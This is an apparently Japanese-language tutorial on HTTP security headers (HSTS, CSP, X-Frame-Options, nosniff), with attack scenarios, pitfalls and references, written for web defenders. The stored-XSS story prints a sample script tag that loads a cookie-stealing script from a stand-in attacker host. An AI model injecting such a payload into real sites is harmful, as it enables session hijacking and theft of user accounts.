一言で言うと
HTTPセキュリティヘッダーは、サーバーから送られる特別な指示のこと。ブラウザにどう振る舞うべきかを伝え、よくあるウェブ攻撃に対する重要な防御層を追加するんだ。
こいつが解決する問題
ウェブの黎明期、ブラウザはちょっとお人好しすぎた。「サーバーがこのデータを送ってきたんだから、レンダリングしとくか!」というのが当時の一般的な態度。この信頼は、あっという間に悪用された。悪意のある連中は、正規のウェブサイトにたちの悪いスクリプトを注入したり、ユーザーに見えないものをクリックさせたり、機密情報を乗っ取ったりする方法を見つけ出したんだ。
根本的な問題は、ブラウザがサーバーから「何を許可すべきか」「何を許可すべきでないか」という指示を一切受け取っていなかったこと。ブログのコメントにユーザーのクッキーを盗む<script>タグが含まれていても、ブラウザは喜んでそれを実行した。攻撃者が君の銀行サイトを見えない<iframe>に埋め込んで送金をだまし取ろうとしても、ブラウザは「いいっすよ、お安い御用だ」とばかりに言うことを聞いた。
これが、クロスサイトスクリプティング(XSS)やクリックジャッキング、中間者攻撃によるプロトコルダウングレードといった、まるまる一つの攻撃カテゴリを生み出した。セキュリティヘッダーは、サーバーがウェブサイトのコンテンツと一緒に「ルールブック」を送るための方法として発明された。このルールブックはブラウザにこう伝える。「俺の代わりに疑り深くなってくれ。信頼できないドメインからスクリプトを読み込むな。誰にも俺のサイトをフレームに入れるな。そして頼むから、安全な接続でだけ俺と話してくれ」とね。こうして、セキュリティ責任の一部をクライアントサイドにシフトさせ、サーバーだけでは強制できないポリシーを適用させるんだ。
舞台裏での仕組み
ブラウザがウェブページをリクエストすると、サーバーはHTMLコンテンツを返すが、その前に「ヘッダー」と呼ばれるテキストブロックを送る。これらはレスポンスに関するメタデータを提供するキーと値のペアだ。セキュリティヘッダーは、ブラウザが認識して従う、特定のヘッダーにすぎない。
Aリスト級のスターたちを分解してみよう。
Strict-Transport-Security (HSTS)
こいつは「HTTPSオンリー」ポリシーを厳格に適用する用心棒だ。ブラウザが君のサイトからこのヘッダーを一度見ると、ある約束を交わす。次のmax-age秒間は、絶対に安全でないHTTPで君のサイトに接続しようとしない、と。すべてのリクエストを自動的にHTTPSにアップグレードしてくれる。
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
max-age: ブラウザがHTTPSを強制するのを覚えておくべき時間(秒単位)。一般的な値は1年(31536000)。includeSubDomains: このルールをすべてのサブドメイン(例:blog.example.com、api.example.com)に適用する。preload: 君のドメインがブラウザに組み込まれた「プリロードリスト」に含まれることに同意する合図。これにより、君のサイトへの一番最初の訪問でさえもHTTPSが強制され、小さいながらも重大な脆弱性をふさぐことができる。
Content-Security-Policy (CSP)
こいつがラスボスだ。超詳細なセキュリティマネージャー。CSPを使うと、ブラウザが読み込んで実行を許可されるリソース(スクリプト、スタイル、画像、フォントなど)の厳格なホワイトリストを定義できる。クロスサイトスクリプティング(XSS)と戦う上で、最も効果的な単一の方法だ。
CSPはディレクティブ(指示)の文字列で構成される。
Content-Security-Policy: default-src 'self'; script-src 'self' https://apis.google.com; object-src 'none';
default-src 'self': デフォルトでは、自分自身のオリジン(同じドメイン)からのリソースのみを許可する。script-src 'self' https://apis.google.com: スクリプトについては、自分自身のオリジンとapis.google.comからのものを許可する。他のすべてのスクリプトはブロックされる。object-src 'none':<object>、<embed>、<applet>のようなレガシーな埋め込みコンテンツを禁止する。
モダンなサイトは多くの場所(CDN、アナリティクスプロバイダーなど)からリソースを引っ張ってくるので、良いCSPを作るのはトリッキーな場合もあるが、その威力は絶大だ。
X-Frame-Options
これは元祖・対クリックジャッキング用ヘッダーだ。シンプルで直接的。君のサイトが<frame>、<iframe>、<embed>、<object>の中でレンダリングされうるかどうかをブラウザに伝える。
X-Frame-Options: DENY
DENY: どのサイトが表示しようとしても、このページはフレーム内に表示できない。SAMEORIGIN: このページは、ページ自体と同じオリジンのフレーム内でのみ表示できる。
今でも役立つが、より柔軟なCSPのframe-ancestorsディレクティブに大部分が取って代わられつつある。
X-Content-Type-Options
このヘッダーにはnosniffという有効な値が一つしかないが、これが重要なんだ。ブラウザが「賢く」なろうとしてリソースのコンテントタイプを推測するのをやめさせる。一部の古いブラウザは、text/plainとして提供されたファイルがJavaScriptに見えることに気づくと、それを実行してしまうことがあった。これはMIMEスニッフィングと呼ばれ、セキュリティホールにつながる可能性がある。
X-Content-Type-Options: nosniff
このヘッダーはブラウザにこう伝える。「俺が送ったContent-Typeヘッダーは絶対的な真実だ。疑問を持つな。もし俺が画像だと言ったら、たとえその中に<script>タグがあってもそれは画像なんだ」と。
実世界でのストーリー
幻のボタンクリック
あるユーザーがお気に入りのSNSにログインしている。その後、ボタンをクリックすると無料の賞品がもらえるという、一見無害なゲームサイトを訪れる。ユーザーは大きな「賞品をゲット!」ボタンを見てクリックする。ユーザーが知らないうちに、ゲームサイトを運営する攻撃者は、そのSNSサイトを完全に透明な<iframe>に読み込み、ゲームの上に直接重ねていた。「賞品をゲット!」ボタンは、見えないSNSページの「アカウントを削除」ボタンと完璧に位置が合わされていた。ユーザーがクリックしたとき、彼らは賞品をゲットしたのではなく、自分のアカウントを削除してしまったのだ。
教訓: これは典型的なクリックジャッキング攻撃だ。もしSNSサイトがX-Frame-Options: DENYやContent-Security-Policy: frame-ancestors 'none'といったヘッダーを送っていれば、ブラウザは<iframe>内でのサイト読み込みを拒否し、攻撃は即座に失敗していた。
悪意のあるコメント
人気のテックブログには、活発なコメント欄がある。ある日、あるユーザーが一見役立ちそうなコメントを投稿したが、その中には巧妙なJavaScriptが隠されていた:<script src="https://evil-hacker.com/steal-cookie.js"></script>。ブログのバックエンドはこのコメントを適切にサニタイズせず、データベースに保存してしまう。これで、そのブログ記事を訪れるすべての人のブラウザが、steal-cookie.jsスクリプトを読み込み、実行してしまう。スクリプトは静かにユーザーのセッションクッキーを掴み、ハッカーのサーバーに送信する。これによりハッカーは、モデレーター、管理者、そして一般ユーザーのセッションを乗っ取ることができるようになってしまった。
教訓: 適切に設定されたContent-Security-Policyがあれば、これは一発で防げた。「銀の弾丸」だったはずだ。script-src 'self' https://cdn.my-blog.comのようなポリシーは、ブラウザにブログ自身のドメインと信頼されたCDNからのスクリプトのみを実行するように指示しただろう。evil-hacker.comへのリクエストはきっぱりとブロックされ、サーバーにはレポートが送られ、サイト所有者に攻撃の試みが警告されたはずだ。
カフェでの中間者攻撃
君はカフェにいて、そこの公衆Wi-Fiを使って銀行の残高を確認している。ブラウザにmybank.comと入力する。同じネットワーク上の攻撃者が、君の最初の暗号化されていないHTTPリクエストを傍受する。攻撃者は、君が安全なHTTPS版にリダイレクトされるのを待たず、君の銀行のログインページそっくりの偽ページをHTTP経由で提供する。君は認証情報を入力し、攻撃者はそれをキャッチする。ゲームオーバーだ。
教訓: もし君が以前にmybank.comを訪れたことがあり、その銀行がStrict-Transport-Security(HSTS)を実装していたなら、君のブラウザはmybank.comがHTTPSでしか通信しないことを知っていたはずだ。最初の安全でないリクエストを試みることすらなかっただろう。即座にhttps://mybank.comにアップグレードし、攻撃者の罠を完全に回避していたはずだ。
よくある間違いと落とし穴
- 過度に寛容なCSP: アプリケーションコードを修正するのが面倒だからという理由で、
Content-Security-Policyにunsafe-inlineやunsafe-evalを使ってしまうこと。これはCSPが防ごうとしているまさにそのXSSの穴を再び開けてしまう行為だ。 - 短い
max-ageのHSTS: テスト中にStrict-Transport-Securityのmax-ageを数分や数時間に設定し、本番用に長くするのを忘れること。これではその効果が著しく制限されてしまう。 includeSubDomainsを忘れる:www.example.comはHSTSで保護したが、api.example.comは保護しなかった場合。攻撃者は依然としてサブドメインを標的にできる。もしすべてのサブドメインがHTTPSをサポートしているなら、常にこれを含めるべきだ。- 非推奨のヘッダーに頼る: 未だに
X-XSS-Protectionヘッダーを使おうとすること。モダンブラウザは、このヘッダーが時としてセキュリティホールを作り出してしまう可能性があるため無効にしている。正しいアプローチは強力なCSPだ。 - 設定して放置: セキュリティは静的なものではない。新しいアナリティクススクリプトやCDNを追加するかもしれない。CSPを更新しなければ、サイトが壊れる可能性がある。ヘッダーはデプロイとテストのプロセスの一部である必要がある。
- 自分のサイトを自分で壊す: 非常に厳格なCSPを最初にテストせずにデプロイすること。
Content-Security-Policy-Report-Onlyを使って、ブラウザに違反をブロックさせずに報告させ、ポリシーを適用する前に微調整できるようにしよう。
なぜ君がこれを気にかけるべきか
もし君がウェブサイトやウェブアプリケーションを構築、維持、あるいは何らかの形で責任を負っているなら、セキュリティヘッダーは君のチェックリストにあるべきだ。以上。
これらは、最も安価で、最もインパクトの大きいセキュリティ改善の一つだ。実装は、多くの場合、Webサーバー(Nginx, Apache)やアプリケーションフレームワークで数行の設定を追加するだけ。それらが提供する、一般的な脆弱性のクラス全体に対する防御は計り知れない。シートベルトのようなものだと考えてほしい。自動車事故そのものを防ぐわけではないが、事故に遭ったときに生き残る確率を劇的に上げてくれる。セキュリティヘッダーは、サーバーサイドのエクスプロイトを持つ決意の固い攻撃者を止めることはないだろうが、何も知らないユーザーを餌食にする日和見的なクライアントサイド攻撃の大部分を阻止してくれる。
もっと深く知る
- MDN Web Docs: HTTP Headers: 想像できる限りのすべてのHTTPヘッダーに関する決定版ウェブ・リファレンス。https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers
- OWASP Secure Headers Project: Open Web Application Security Projectによる優れたリソース。どのヘッダーをどのように使うべきかを詳述している。https://owasp.org/www-project-secure-headers/
- Content Security Policy (CSP) Reference: 最も複雑で強力なセキュリティヘッダーへの詳細な解説。https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP
- HSTS Preload Submission: 主要なブラウザに組み込まれているHSTSプリロードリストについて学び、あなたのサイトを登録しよう。https://hstspreload.org/
- Scott Helme's Blog: セキュリティヘッダーや他のウェブセキュリティトピックについて、広範囲かつ権威ある執筆活動を行っているセキュリティ研究者のブログ。https://scotthelme.co.uk/